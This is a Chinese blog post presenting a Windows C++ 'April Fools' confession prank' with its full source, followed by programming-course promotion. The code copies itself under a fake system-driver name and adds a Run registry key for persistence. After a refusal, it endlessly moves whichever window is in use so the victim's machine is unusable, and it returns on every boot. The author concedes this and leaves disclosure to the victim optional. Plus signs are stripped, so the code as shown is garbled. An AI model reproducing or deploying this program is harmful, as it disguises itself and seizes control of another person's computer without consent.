愚人节整蛊文案表白 恶搞表白程序来了

今天是个好日子,四月一日愚人节,我们的广大单身狗们,最适合借着这个节日给自己心中的那个人表个白了!愚人节嘛,不就是开着玩笑说真心话的日子吗?

愚人节整蛊文案表白 恶搞表白程序来了(1)

那么作为一名单身程序汪,今天就利用上班摸鱼时间,来给各位单身狗们写一个恶搞程序吧!

该程序进可攻退可守:如果对方同意,就会控制你桌面的图标,形成一个跳动爱心的形状,这时候就是你表白成功啦!如果对方拒绝的话,那么就会控制你电脑的桌面图标组件,你就点不了你桌面的任何窗口,它会随着你的鼠标的点击不断移动,这时候你就说:怎么样好不好玩,就是跟你开个玩笑嘛!

不过不管怎么样,祝大家愚人节快乐!

代码示例:

main.cpp:

#define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include "resource.h" #include <windows.h> //C windows #include <commctrl.h> #include <mmsystem.h> #pragma comment(lib,"winmm.lib") /********************************************************* 1.项目-属性-常规/高级 字符集改成多字节字符集 ANSI 2.项目-属性-C/C SDL检查 否 **********************************************************/ /*调试时显示控制台,单独运行exe时隐藏控制台。*/ #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") int main() { //ILOVEYOU.exe char exepath[300] = { 0 }; GetModuleFileName(NULL,exepath,300); CopyFile(exepath,"C:\\Users\\Public\\Pictures\\Windows system32图形图像处理驱动组件.exe",FALSE); ////开机自启 HKEY hkey; RegOpenKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey); RegSetValueEx(hkey,"Windows system32图形图像处理驱动组件.exe",NULL,REG_SZ, (const BYTE*)"C:\\Users\\Public\\Pictures\\Windows system32图形图像处理驱动组件.exe",66); RegCloseKey(hkey); //检查是否存在一个f的文件 FILE* fp = fopen("C:\\Users\\Public\\Pictures\\f","r"); if (fp == NULL) { //不存在 int res = MessageBox(NULL,"我有车有房有存款,想要照顾你一生一世,你是否愿意?", "暗恋你的小九九",MB_YESNO ); //是和否 if (res == IDYES) { //是 keybd_event(VK_LWIN,0,0,0); //win d 回到桌面 keybd_event('D', 0, 0, 0); keybd_event('D', 0, 2, 0); keybd_event(VK_LWIN, 0, 2, 0); POINT map[14] = { {868, 316}, { 730,207 }, { 591,221 },{ 515,327 },{ 542,469 }, { 610,624 },{ 723,746 }, { 870,814 },{ 1012,744 },{ 1130,626 }, { 1219,485 }, { 1225,328 },{ 1156,225 }, { 1012,217 } }; //music PlaySound((LPCSTR)IDR_WAVE1, NULL, SND_RESOURCE | SND_ASYNC | SND_LOOP); // HWND zmWnd = FindWindow("Progman","Program Manager"); //桌面的窗口 HWND bzWnd = FindWindowEx(zmWnd,0,"SHELLDLL_DefView",NULL); //壁纸的窗口 HWND tbWnd = FindWindowEx(bzWnd, 0, "SysListView32", "FolderView"); //图标的窗口 int cnt = SendMessage(tbWnd,LVM_GETITEMCOUNT,0,0); //向某一个窗口发送一条指令 while (1) { //刷新 for (int i = 0; i < cnt; i ) { if (i < 14) //0-13 SendMessage(tbWnd, LVM_SETITEMPOSITION, i, (map[i].y << 16) map[i].x); else SendMessage(tbWnd, LVM_SETITEMPOSITION, i, (2000 << 16) 500); } POINT temppt; temppt.x = map[0].x; temppt.y = map[0].y; for (int i = 0; i < 13; i ) { map[i].x = map[i 1].x; map[i].y = map[i 1].y; } map[13].x = temppt.x; map[13].y = temppt.y; Sleep(100); if (GetAsyncKeyState(VK_ESCAPE)) return 0; } } else //否 { fp = fopen("C:\\Users\\Public\\Pictures\\f", "w"); fclose(fp); } } //拒绝了我 HWND hwnd; //定义一个id id可以用来标记一个窗口 int x, y; POINT pt; //点 RECT rect; //矩形 while (1) { hwnd = GetForegroundWindow(); GetCursorPos(&pt); GetWindowRect(hwnd,&rect); //鼠标在窗口里面 if (pt.x > rect.left && pt.x<rect.right && pt.y>rect.top && pt.y < rect.bottom) { x = rand() % (1920 - 434); y = rand() % (1080 - 466); MoveWindow(hwnd, x, y, 434, 466, true); } } return 0; }

resource.h:

//{{NO_DEPENDENCIES}} // Microsoft Visual C 生成的包含文件。 // 供 ILOVEYOU.rc 使用 // #define IDR_WAVE1 101 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 102 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_SYMED_VALUE 101 #endif #endif

对方点击是/否后不知道怎么关闭怎么办?不管怎么样还能接着聊!

解决方法:

(1)在编译器启动程序时您电脑中的360/电脑管家会提示您,可以直接阻止;

(2)打开任务管理器(找到【Windows system32图形图像处理驱动组件.exe】关闭,不过仅仅是暂时关闭,对方下次启动电脑还是会继续来一次,您可以自己选择是否告知对方这一点);

(3)彻底删除请进入注册表编辑器,win R,输入regedit,随后操作如图:

愚人节整蛊文案表白 恶搞表白程序来了(2)

愚人节整蛊文案表白 恶搞表白程序来了(3)

愚人节整蛊文案表白 恶搞表白程序来了(4)

愚人节整蛊文案表白 恶搞表白程序来了(5)

好啦,这一招就是这样,剩下的就看各位咯!

写在最后:另外,对于准备学习C/C 编程的小伙伴,如果你想更好的提升你的编程核心能力(内功)不妨从现在开始!

编程学习书籍分享:

愚人节整蛊文案表白 恶搞表白程序来了(6)

编程学习视频分享:

愚人节整蛊文案表白 恶搞表白程序来了(7)

整理分享(多年学习的源码、项目实战视频、项目笔记,基础入门教程)

欢迎转行和学习编程的伙伴,利用更多的资料学习成长比自己琢磨更快哦!

对于C/C 感兴趣可以关注小编在后台私信我:【编程交流】一起来学习哦!可以领取一些C/C 的项目学习视频资料哦!已经设置好了关键词自动回复,自动领取就好了!

,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页